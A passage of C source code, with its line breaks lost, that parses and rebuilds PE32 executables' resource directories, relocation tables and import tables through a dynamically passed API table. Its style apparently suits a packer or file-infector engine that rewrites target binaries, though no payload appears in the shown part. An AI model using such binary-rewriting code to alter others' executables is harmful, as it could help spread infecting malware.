dwTotalNumberOfDirectories++; pCurrentResourceDirectoryAbstractionContainer->dwDirectoryNumber=1; pCurrentResourceDirectoryAbstractionContainer->dwEntryNumber=1; pCurrentResourceDirectoryAbstractionContainer->dwNumberOfIdEntries=0; pCurrentResourceDirectoryAbstractionContainer->dwNumberOfNamedEntries=0; pCurrentResourceDirectoryAbstractionContainer->dwNumberOfDirectories=0; pCurrentResourceDirectoryAbstractionContainer->pUpperDirectoryAbstraction=pCurrentResourceDirectoryAbstractionContainer; } DWORD dwX; PIMAGE_RESOURCE_DIRECTORY_ENTRY pCurrentImageResourceDirectoryEntry=(PBYTE)pCurrentImageResourceDirectory + sizeof(IMAGE_RESOURCE_DIRECTORY); pCurrentResourceDirectoryAbstractionContainer->dwNumberOfIdEntries=pCurrentImageResourceDirectory->NumberOfIdEntries; pCurrentResourceDirectoryAbstractionContainer->dwNumberOfNamedEntries=pCurrentImageResourceDirectory->NumberOfNamedEntries; pCurrentResourceDirectoryAbstractionContainer->dwTimeDateStamp=pCurrentImageResourceDirectory->TimeDateStamp; for(dwX=0; dwX < (pCurrentImageResourceDirectory->NumberOfIdEntries + pCurrentImageResourceDirectory->NumberOfNamedEntries); dwX++) { PIMAGE_RESOURCE_DIR_STRING_U pImageResourceDirStringU; BOOL bNamedEntry; if((DWORD)pCurrentImageResourceDirectoryEntry->Name & 0x80000000) { bNamedEntry=TRUE; pImageResourceDirStringU=(PIMAGE_RESOURCE_DIR_STRING_U)((PBYTE)pResourcePool + ((DWORD)pCurrentImageResourceDirectoryEntry->Name & 0x7FFFFFFF)); } else { bNamedEntry=FALSE; } PRESOURCE_DIRECTORY_ABSTRACTION pCurrentResourceDirectoryAbstraction; if(pCurrentImageResourceDirectoryEntry->OffsetToData & 0x80000000) { // Enumerated a directory pCurrentResourceDirectoryAbstraction=AddResourceDirectoryEntry32(pAPITable, pCurrentResourceDirectoryAbstractionContainer, bNamedEntry ? pImageResourceDirStringU->NameString : NULL, bNamedEntry ? (pImageResourceDirStringU->Length + 1) : 0, bNamedEntry ? 0 : (DWORD)pCurrentImageResourceDirectoryEntry->Name, bNamedEntry, NULL, 0, TRUE); dwTotalNumberOfDirectories++; GetAbstractionsFromResources32(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pResourcePool, pCurrentResourceDirectoryAbstraction, (PBYTE)pResourcePool + (pCurrentImageResourceDirectoryEntry->OffsetToData & 0x7FFFFFFF), &dwTotalNumberOfEntries, &dwTotalNumberOfDirectories, &dwTotalRawResourceDataSize); pCurrentResourceDirectoryAbstractionContainer->dwNumberOfDirectories++; pCurrentResourceDirectoryAbstraction->dwDirectoryNumber=pCurrentResourceDirectoryAbstractionContainer->dwNumberOfDirectories; } else { // Enumerated data entry PIMAGE_RESOURCE_DATA_ENTRY pCurrentImageResourceDataEntry=(PBYTE)pResourcePool + pCurrentImageResourceDirectoryEntry->OffsetToData; PBYTE pData=pAPITable->GlobalAlloc(GPTR, pCurrentImageResourceDataEntry->Size); dwTotalRawResourceDataSize += pCurrentImageResourceDataEntry->Size; RelocateMemory(pData, SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pCurrentImageResourceDataEntry->OffsetToData), pCurrentImageResourceDataEntry->Size); pCurrentResourceDirectoryAbstraction=AddResourceDirectoryEntry32(pAPITable, pCurrentResourceDirectoryAbstractionContainer, bNamedEntry ? pImageResourceDirStringU->NameString : NULL, bNamedEntry ? (pImageResourceDirStringU->Length + 1) : 0, bNamedEntry ? 0 : (DWORD)pCurrentImageResourceDirectoryEntry->Name, bNamedEntry, pData, pCurrentImageResourceDataEntry->Size, FALSE); } pCurrentResourceDirectoryAbstraction->dwEntryNumber=(dwX + 1); dwTotalNumberOfEntries++; pCurrentImageResourceDirectoryEntry++; } *pdwTotalRawResourceDataSize=dwTotalRawResourceDataSize; *pdwTotalNumberOfEntries=dwTotalNumberOfEntries; *pdwTotalNumberOfDirectories=dwTotalNumberOfDirectories; return pCurrentResourceDirectoryAbstractionContainer; } VOID FreeResourceAbstractions32 (PAPI_TABLE pAPITable, PRESOURCE_DIRECTORY_ABSTRACTION pContainerDirectoryAbstraction) { PRESOURCE_DIRECTORY_ABSTRACTION pCurrentResourceDirectoryAbstraction=pContainerDirectoryAbstraction, pNextResourceDirectoryAbstraction=NULL; for(; pCurrentResourceDirectoryAbstraction != NULL; pCurrentResourceDirectoryAbstraction=pNextResourceDirectoryAbstraction) { BOOL bIsDirectory=((pCurrentResourceDirectoryAbstraction->pSubdirectoryAbstraction != NULL) ? TRUE : FALSE); if(pCurrentResourceDirectoryAbstraction->pName != NULL) { pAPITable->GlobalFree(pCurrentResourceDirectoryAbstraction->pName); } if(bIsDirectory) { FreeResourceAbstractions32(pAPITable, pCurrentResourceDirectoryAbstraction->pSubdirectoryAbstraction); } else { if(pCurrentResourceDirectoryAbstraction->pData != NULL) { pAPITable->GlobalFree(pCurrentResourceDirectoryAbstraction->pData); } } pNextResourceDirectoryAbstraction=pCurrentResourceDirectoryAbstraction->pNextDirectoryAbstraction; pAPITable->GlobalFree(pCurrentResourceDirectoryAbstraction); } return; } VOID AugmentRelocationAbstractions32 (PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PRELOCATION_ABSTRACTION pRelocationAbstractions, DWORD dwAugmentationOffsetStart, DWORD dwAugmentationOffsetEnd, DWORD dwAugmentationSize) { PRELOCATION_ABSTRACTION pCurrentRelocationAbstraction=pRelocationAbstractions; PIMAGE_DOS_HEADER pTargetImageDOSHeader=pTargetPE32Pool; PIMAGE_FILE_HEADER pTargetImageFileHeader=((PBYTE)pTargetImageDOSHeader + pTargetImageDOSHeader->e_lfanew + 4); PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader=((PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER)); PIMAGE_SECTION_HEADER pTargetImageSectionHeader=((PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); DWORD dwTargetPE32LastSectionIndex=(pTargetImageFileHeader->NumberOfSections - 1); DWORD dwCodeSectionNameString[2], dwAbsoluteAddressLocationRVA, dwReferencedAddressRVA, dwCodeSectionIndex; PX86_INSTRUCTION_ABSTRACTION pAssociatedX86InstructionAbstraction; PIMPORTED_FUNCTION_ABSTRACTION pAssociatedImportedFunctionAbstraction; dwCodeSectionNameString[0]='xet.'; dwCodeSectionNameString[1]='t'; if((dwCodeSectionIndex=GetSectionIndexByName(pAPITable, pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, &dwCodeSectionNameString)) == -1) { return FALSE; } while(pCurrentRelocationAbstraction != NULL) { dwAbsoluteAddressLocationRVA=pCurrentRelocationAbstraction->dwAbsoluteAddressLocationOffset; dwReferencedAddressRVA=pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset; if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_SECTION_END_REFERENCE)) { //printf("[*] Ignoring end of section reference. This will be fixed later.\r\n"); } else { if(!(pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_LOCATION)) { dwAbsoluteAddressLocationRVA += (pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex)->VirtualAddress; } if(!(pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_REFERENCE)) { dwReferencedAddressRVA += (pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex)->VirtualAddress; } if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_IAT32_REFERENCE)) { pAssociatedImportedFunctionAbstraction=pCurrentRelocationAbstraction->pReferencedSymbol; dwReferencedAddressRVA=pAssociatedImportedFunctionAbstraction->dwNewIATEntryRVA; if(dwReferencedAddressRVA == 0) { dwReferencedAddressRVA=pAssociatedImportedFunctionAbstraction->dwOriginalIATEntryRVA; } } if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION)) { pAssociatedX86InstructionAbstraction=pCurrentRelocationAbstraction->pLocationSymbol; // The absolute address location will be the virtual code section base, plus the current instruction offset dwAbsoluteAddressLocationRVA=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pAssociatedX86InstructionAbstraction->dwInstructionOffset + pAssociatedX86InstructionAbstraction->dwDataOffset); } else if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_CODE_MEMORY_LOCATION)) { pAssociatedX86InstructionAbstraction=pCurrentRelocationAbstraction->pLocationSymbol; // The absolute address location will be the virtual code section base, plus the current instruction offset dwAbsoluteAddressLocationRVA=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pAssociatedX86InstructionAbstraction->dwInstructionOffset + pAssociatedX86InstructionAbstraction->dwMemoryOffset); } if(dwAbsoluteAddressLocationRVA >= dwAugmentationOffsetStart && dwAbsoluteAddressLocationRVA < dwAugmentationOffsetEnd) { //printf("[*] Absolute address location fell within data directory range being augmented. Augmenting...\r\n"); } if(dwReferencedAddressRVA >= dwAugmentationOffsetStart && dwReferencedAddressRVA < dwAugmentationOffsetEnd) { //printf("[*] Absolute address reference fell within data directory range (0x%08x, 0x%08x) being augmented. Augmenting from 0x%08x to ", dwAugmentationOffsetStart, dwAugmentationOffsetEnd, pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset); pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset += dwAugmentationSize; //printf("0x%08x\r\n", pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset); } } pCurrentRelocationAbstraction=pCurrentRelocationAbstraction->pNextRelocationAssociation; } return; } BOOL CreateRelocationSectionFromAbstractions32 (PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PRELOCATION_ABSTRACTION pRelocationAbstractions, PBYTE *ppPool, PDWORD pdwPoolSize) { BOOL bBlockBaseOutOfBounds=FALSE, bCurrentBlockEmpty; PBYTE pRelocationPool=NULL; PIMAGE_DOS_HEADER pTargetImageDOSHeader=pTargetPE32Pool; PIMAGE_FILE_HEADER pTargetImageFileHeader=((PBYTE)pTargetImageDOSHeader + pTargetImageDOSHeader->e_lfanew + 4); PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader=((PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER)); PIMAGE_SECTION_HEADER pTargetImageSectionHeader=((PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); DWORD dwRelocationPoolSize, dwTotalNumberOfAbsoluteAddressLocations, dwTargetPE32LastSectionIndex=(pTargetImageFileHeader->NumberOfSections - 1), dwCurrentRelocationBlockBase, dwCalculatedNumberOfAbsoluteAddressLocations=0, dwTotalNumberOfRelocationBlocks=0, dwCalculatedNumberOfEmptyRelocationBlocks=0; PRELOCATION_ABSTRACTION pCurrentRelocationAbstraction; PIMPORTED_FUNCTION_ABSTRACTION pAssociatedImportedFunctionAbstraction; PX86_INSTRUCTION_ABSTRACTION pAssociatedX86InstructionAbstraction; DWORD dwCurrentRelocationPoolOffset, dwCurrentNumberOfBlockRelocations, dwAbsoluteAddressLocationRVA, dwReferencedAddressRVA, dwCodeSectionIndex; PIMAGE_BASE_RELOCATION pCurrentImageBaseRelocation=pRelocationPool; PBYTE pLocationAddressBoundaryBase; DWORD dwCodeSectionNameString[2]; dwCodeSectionNameString[0]='xet.'; dwCodeSectionNameString[1]='t'; if((dwCodeSectionIndex=GetSectionIndexByName(pAPITable, pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, &dwCodeSectionNameString)) == -1) { //printf("[-] Failed to locate a .text section within the target file.\r\n"); return FALSE; } // Calculate the size of the new relocation section for(dwCurrentRelocationBlockBase=0; !bBlockBaseOutOfBounds; dwCurrentRelocationBlockBase += 0x1000, dwTotalNumberOfRelocationBlocks++) { pCurrentRelocationAbstraction=pRelocationAbstractions; bBlockBaseOutOfBounds=TRUE; bCurrentBlockEmpty=TRUE; while(pCurrentRelocationAbstraction != NULL) { dwAbsoluteAddressLocationRVA=pCurrentRelocationAbstraction->dwAbsoluteAddressLocationOffset; if(!(pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_LOCATION)) { dwAbsoluteAddressLocationRVA += (pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex)->VirtualAddress; } if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION)) { pAssociatedX86InstructionAbstraction=pCurrentRelocationAbstraction->pLocationSymbol; // The absolute address location will be the virtual code section base, plus the current instruction offset dwAbsoluteAddressLocationRVA=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pAssociatedX86InstructionAbstraction->dwInstructionOffset + pAssociatedX86InstructionAbstraction->dwDataOffset); } else if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_CODE_MEMORY_LOCATION)) { pAssociatedX86InstructionAbstraction=pCurrentRelocationAbstraction->pLocationSymbol; // The absolute address location will be the virtual code section base, plus the current instruction offset dwAbsoluteAddressLocationRVA=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pAssociatedX86InstructionAbstraction->dwInstructionOffset + pAssociatedX86InstructionAbstraction->dwMemoryOffset); } if(dwAbsoluteAddressLocationRVA >= dwCurrentRelocationBlockBase && dwAbsoluteAddressLocationRVA < (dwCurrentRelocationBlockBase + 0x1000)) { bCurrentBlockEmpty=FALSE; dwCalculatedNumberOfAbsoluteAddressLocations++; } if(dwAbsoluteAddressLocationRVA >= dwCurrentRelocationBlockBase) { bBlockBaseOutOfBounds=FALSE; } pCurrentRelocationAbstraction=pCurrentRelocationAbstraction->pNextRelocationAssociation; } if(bCurrentBlockEmpty) { dwCalculatedNumberOfEmptyRelocationBlocks++; } } dwTotalNumberOfAbsoluteAddressLocations=dwCalculatedNumberOfAbsoluteAddressLocations + (dwTotalNumberOfRelocationBlocks - dwCalculatedNumberOfEmptyRelocationBlocks); dwRelocationPoolSize=((dwTotalNumberOfRelocationBlocks - dwCalculatedNumberOfEmptyRelocationBlocks) * sizeof(IMAGE_BASE_RELOCATION)) + ((dwTotalNumberOfAbsoluteAddressLocations) * sizeof(WORD)); // Generate the new relocation section data pRelocationPool=pAPITable->GlobalAlloc(GPTR, dwRelocationPoolSize + (sizeof(WORD) * dwTotalNumberOfRelocationBlocks)); bBlockBaseOutOfBounds=FALSE; dwCurrentRelocationPoolOffset=sizeof(IMAGE_BASE_RELOCATION); pCurrentImageBaseRelocation=pRelocationPool; for(dwCurrentRelocationBlockBase=0; !bBlockBaseOutOfBounds; dwCurrentRelocationBlockBase += 0x1000) { pCurrentRelocationAbstraction=pRelocationAbstractions; dwCurrentNumberOfBlockRelocations=0; bBlockBaseOutOfBounds=TRUE; while(pCurrentRelocationAbstraction != NULL) { dwAbsoluteAddressLocationRVA=pCurrentRelocationAbstraction->dwAbsoluteAddressLocationOffset; dwReferencedAddressRVA=pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset; if(!(pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_LOCATION)) { dwAbsoluteAddressLocationRVA += (pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex)->VirtualAddress; } if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_SECTION_END_REFERENCE)) { dwReferencedAddressRVA=(pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex)->Misc.VirtualSize; } if(!(pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_REFERENCE)) { dwReferencedAddressRVA += (pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex)->VirtualAddress; } if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_IAT32_REFERENCE)) { pAssociatedImportedFunctionAbstraction=pCurrentRelocationAbstraction->pReferencedSymbol; dwReferencedAddressRVA=pAssociatedImportedFunctionAbstraction->dwNewIATEntryRVA; if(dwReferencedAddressRVA == 0) { dwReferencedAddressRVA=pAssociatedImportedFunctionAbstraction->dwOriginalIATEntryRVA; } } if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION)) { pAssociatedX86InstructionAbstraction=pCurrentRelocationAbstraction->pLocationSymbol; // The absolute address location will be the virtual code section base, plus the current instruction offset dwAbsoluteAddressLocationRVA=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pAssociatedX86InstructionAbstraction->dwInstructionOffset + pAssociatedX86InstructionAbstraction->dwDataOffset); } else if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_CODE_MEMORY_LOCATION)) { pAssociatedX86InstructionAbstraction=pCurrentRelocationAbstraction->pLocationSymbol; // The absolute address location will be the virtual code section base, plus the current instruction offset dwAbsoluteAddressLocationRVA=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pAssociatedX86InstructionAbstraction->dwInstructionOffset + pAssociatedX86InstructionAbstraction->dwMemoryOffset); } if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_CODE_REFERENCE)) { pAssociatedX86InstructionAbstraction=pCurrentRelocationAbstraction->pReferencedSymbol; // The absolute address location will be the virtual code section base, plus the current instruction offset dwReferencedAddressRVA=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pAssociatedX86InstructionAbstraction->dwInstructionOffset + pAssociatedX86InstructionAbstraction->dwReferencedAddressOffset); } if(dwAbsoluteAddressLocationRVA >= dwCurrentRelocationBlockBase && dwAbsoluteAddressLocationRVA < (dwCurrentRelocationBlockBase + 0x1000)) { //*(PWORD)&pRelocationPool[dwCurrentRelocationPoolOffset] |= (IMAGE_REL_BASED_HIGHLOW << 12); pLocationAddressBoundaryBase=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, dwAbsoluteAddressLocationRVA); if(pLocationAddressBoundaryBase != NULL) { *(PWORD)&pRelocationPool[dwCurrentRelocationPoolOffset]=((IMAGE_REL_BASED_HIGHLOW << 12) | (dwAbsoluteAddressLocationRVA - dwCurrentRelocationBlockBase)); *(PDWORD)&pLocationAddressBoundaryBase[0]=(dwReferencedAddressRVA + pTargetImageOptionalHeader->ImageBase); } dwCurrentNumberOfBlockRelocations++; dwCurrentRelocationPoolOffset += sizeof(WORD); if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_SECTION_END_REFERENCE)) { //printf("[+] Set absolute address at 0x%08x reference referencing the end of the %s section to the new virtual end of the section.\r\n", dwAbsoluteAddressLocationRVA, (pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex)->Name); } } if(dwAbsoluteAddressLocationRVA >= dwCurrentRelocationBlockBase) { bBlockBaseOutOfBounds=FALSE; } pCurrentRelocationAbstraction=pCurrentRelocationAbstraction->pNextRelocationAssociation; } if(dwCurrentNumberOfBlockRelocations != 0) { if(dwCurrentNumberOfBlockRelocations % 2 != 0) { dwCurrentNumberOfBlockRelocations++; // Ensure 4-byte alignment of next base relocation block dwCurrentRelocationPoolOffset += sizeof(WORD); } pCurrentImageBaseRelocation->SizeOfBlock=(sizeof(IMAGE_BASE_RELOCATION) + (dwCurrentNumberOfBlockRelocations * sizeof(WORD))); pCurrentImageBaseRelocation->VirtualAddress=dwCurrentRelocationBlockBase; dwCurrentRelocationPoolOffset += sizeof(IMAGE_BASE_RELOCATION); (PBYTE)pCurrentImageBaseRelocation += pCurrentImageBaseRelocation->SizeOfBlock; } } dwRelocationPoolSize=dwCurrentRelocationPoolOffset; *ppPool=pRelocationPool; *pdwPoolSize=dwRelocationPoolSize; return TRUE; } PRELOCATION_ABSTRACTION GetAbstractionsFromRelocations32 (PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PBYTE pRelocationPool, DWORD dwRelocationPoolSize, PIMPORT_ABSTRACTION_TABLE pImportAbstractions) { PIMAGE_BASE_RELOCATION pCurrentImageBaseRelocation=(PIMAGE_BASE_RELOCATION)pRelocationPool; DWORD dwX, dwY, dwCurrentRelocationPoolOffset, dwTotalRelocationPoolSize=dwRelocationPoolSize; PRELOCATION_ABSTRACTION pFirstRelocationAbstraction=NULL, pCurrentRelocationAbstraction=NULL, pPreviousRelocationAbstraction=NULL; BOOL bSectionEndReference; PIMAGE_DOS_HEADER pTargetImageDOSHeader=pTargetPE32Pool; PIMAGE_FILE_HEADER pTargetImageFileHeader=((PBYTE)pTargetImageDOSHeader + pTargetImageDOSHeader->e_lfanew + 4); PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader=((PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER)); PIMAGE_SECTION_HEADER pTargetImageSectionHeader=((PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); PIMPORTED_MODULE_ABSTRACTION pCurrentImportedModuleAbstraction; PIMPORTED_FUNCTION_ABSTRACTION pCurrentImportedFunctionAbstraction; DWORD dwCurrentNumberOfBlockRelocations; PWORD pwCurrentRelocationEntry; PBYTE pLocationAddressBoundaryBase; WORD wCurrentRelocationLocationBaseOffset; DWORD dwReferencedAddressRVA, dwAbsoluteAddressLocationRVA; PIMAGE_SECTION_HEADER pReferencedImageSectionHeader=NULL, pAbsoluteAddressLocationImageSectionHeader=NULL; DWORD dwEnclosingSectionIndex; for(dwX=0, dwCurrentRelocationPoolOffset=0; dwCurrentRelocationPoolOffset < dwTotalRelocationPoolSize && pCurrentImageBaseRelocation->SizeOfBlock != 0; dwX++) { dwCurrentNumberOfBlockRelocations=((pCurrentImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD)); pwCurrentRelocationEntry=(PWORD)((PBYTE)pCurrentImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION)); for(dwY=0; dwY < dwCurrentNumberOfBlockRelocations; dwY++, pwCurrentRelocationEntry++) { if(((*pwCurrentRelocationEntry >> 12) & IMAGE_REL_BASED_HIGHLOW)) { pLocationAddressBoundaryBase=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, pCurrentImageBaseRelocation->VirtualAddress); wCurrentRelocationLocationBaseOffset=(*pwCurrentRelocationEntry & 0x0FFF); dwReferencedAddressRVA=(*(PDWORD)&pLocationAddressBoundaryBase[wCurrentRelocationLocationBaseOffset] - pTargetImageOptionalHeader->ImageBase); dwAbsoluteAddressLocationRVA=(pCurrentImageBaseRelocation->VirtualAddress + wCurrentRelocationLocationBaseOffset); pReferencedImageSectionHeader=NULL, pAbsoluteAddressLocationImageSectionHeader=NULL; pCurrentRelocationAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(RELOCATION_ABSTRACTION)); if(pCurrentRelocationAbstraction == NULL) { //printf("OUT OF MEMORY\r\n"); //system("pause"); } // Determine the location and reference destination of the current absolute address. Classify its symbol correspondence. dwEnclosingSectionIndex=-1; if((pAbsoluteAddressLocationImageSectionHeader=GetEnclosingSectionHeader(pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, dwAbsoluteAddressLocationRVA, &dwEnclosingSectionIndex, &bSectionEndReference)) == NULL) { if(pTargetImageSectionHeader->VirtualAddress > dwAbsoluteAddressLocationRVA) { pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_LOCATION; pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex=-1; } else { continue; } } dwEnclosingSectionIndex=-1; if((pReferencedImageSectionHeader=GetEnclosingSectionHeader(pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, dwReferencedAddressRVA, &dwEnclosingSectionIndex, &bSectionEndReference)) == NULL) { if(pTargetImageSectionHeader->VirtualAddress > dwReferencedAddressRVA) { pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_REFERENCE; pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex=-1; } else { if(bSectionEndReference) { //printf("[*] Address 0x%08x referenced by absolute address location 0x%08x is referencing the end of the %s section.\r\n", dwReferencedAddressRVA, dwAbsoluteAddressLocationRVA, (pTargetImageSectionHeader + dwEnclosingSectionIndex)->Name); pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_SECTION_END_REFERENCE; } else { continue; } } } if(pFirstRelocationAbstraction == NULL) { pFirstRelocationAbstraction=pCurrentRelocationAbstraction; } else { pPreviousRelocationAbstraction->pNextRelocationAssociation=pCurrentRelocationAbstraction; } pPreviousRelocationAbstraction=pCurrentRelocationAbstraction; pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset=dwReferencedAddressRVA; pCurrentRelocationAbstraction->dwAbsoluteAddressLocationOffset=dwAbsoluteAddressLocationRVA; if(!(pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_LOCATION)) { pCurrentRelocationAbstraction->dwAbsoluteAddressLocationOffset -= pAbsoluteAddressLocationImageSectionHeader->VirtualAddress; pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex=GetSectionIndexByName(pAPITable, pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, pAbsoluteAddressLocationImageSectionHeader->Name); } if(!(pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_REFERENCE)) { pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset -= (pTargetImageSectionHeader + dwEnclosingSectionIndex)->VirtualAddress; pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex=dwEnclosingSectionIndex; } if(pImportAbstractions != NULL && pCurrentRelocationAbstraction->pReferencedSymbol == NULL) { pCurrentImportedModuleAbstraction=pImportAbstractions->pFirstImportedModuleAbstraction; while(pCurrentImportedModuleAbstraction != NULL) { pCurrentImportedFunctionAbstraction=pCurrentImportedModuleAbstraction->pImportedFunctionAbstractionList; while(pCurrentImportedFunctionAbstraction != NULL) { if(dwReferencedAddressRVA == pCurrentImportedFunctionAbstraction->dwOriginalIATEntryRVA) { pCurrentRelocationAbstraction->pReferencedSymbol=pCurrentImportedFunctionAbstraction; pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_IAT32_REFERENCE; } pCurrentImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction->pNextImportedFunctionAbstraction; } pCurrentImportedModuleAbstraction=pCurrentImportedModuleAbstraction->pNextImportedModuleAbstraction; } } } } dwCurrentRelocationPoolOffset += pCurrentImageBaseRelocation->SizeOfBlock; (PBYTE)pCurrentImageBaseRelocation += pCurrentImageBaseRelocation->SizeOfBlock; } return pFirstRelocationAbstraction; } VOID FreeRelocationAbstractions32 (PAPI_TABLE pAPITable, PRELOCATION_ABSTRACTION pRelocationAbstractions) { PRELOCATION_ABSTRACTION pCurrentRelocationAbstraction=pRelocationAbstractions, pNextRelocationAbstraction=NULL; for(; pCurrentRelocationAbstraction != NULL; pCurrentRelocationAbstraction=pNextRelocationAbstraction) { pNextRelocationAbstraction=pCurrentRelocationAbstraction->pNextRelocationAssociation; pAPITable->GlobalFree(pCurrentRelocationAbstraction); } return; } VOID CreateIATSectionFromAbstractions32 (PAPI_TABLE pAPITable, PIMPORT_ABSTRACTION_TABLE pImportAbstractions, PBYTE *ppPool, PDWORD pdwPoolSize, DWORD dwIATRVA, BOOL bSupressIATRegeneration) { DWORD dwModuleNamesOffset, dwIATThunksOffset, dwFunctionNamesOffset, dwINTThunksOffset; dwModuleNamesOffset=(sizeof(IMAGE_IMPORT_DESCRIPTOR) * (pImportAbstractions->dwTotalNumberOfModules + 1)); // +1 since last import descriptor block in array must be NULLs dwIATThunksOffset=(dwModuleNamesOffset + (512 * pImportAbstractions->dwTotalNumberOfModules)); dwINTThunksOffset=(dwIATThunksOffset + (sizeof(IMAGE_THUNK_DATA) * (pImportAbstractions->dwTotalNumberOfFunctions + pImportAbstractions->dwTotalNumberOfModules))); // +1 for each module since last thunk in array must be NULL, for each array (one per module). dwFunctionNamesOffset=(dwINTThunksOffset + (sizeof(IMAGE_THUNK_DATA) * (pImportAbstractions->dwTotalNumberOfFunctions + pImportAbstractions->dwTotalNumberOfModules))); // +1 for each module since last thunk in array must be NULL, for each array (one per module). /* ___________________________ | Import descriptors | |_________________________| | Module names | |_________________________| | Thunk chains of IAT/INT | |_________________________| | Name structures | |_________________________| */ DWORD dwIATPoolSize=(dwFunctionNamesOffset + ((512 + sizeof(WORD)) * pImportAbstractions->dwTotalNumberOfFunctions)); PBYTE pIATPool=pAPITable->GlobalAlloc(GPTR, dwIATPoolSize); PIMAGE_IMPORT_DESCRIPTOR pCurrentImageImportDescriptor=(PIMAGE_IMPORT_DESCRIPTOR)pIATPool; DWORD dwX, dwY, dwCurrentIATThunkOffset, dwCurrentINTThunkOffset, dwCurrentNameOffset; PIMPORTED_MODULE_ABSTRACTION pCurrentImportedModuleAbstraction=pImportAbstractions->pFirstImportedModuleAbstraction; PIMAGE_THUNK_DATA pCurrentIATImageThunkData, pCurrentINTImageThunkData; 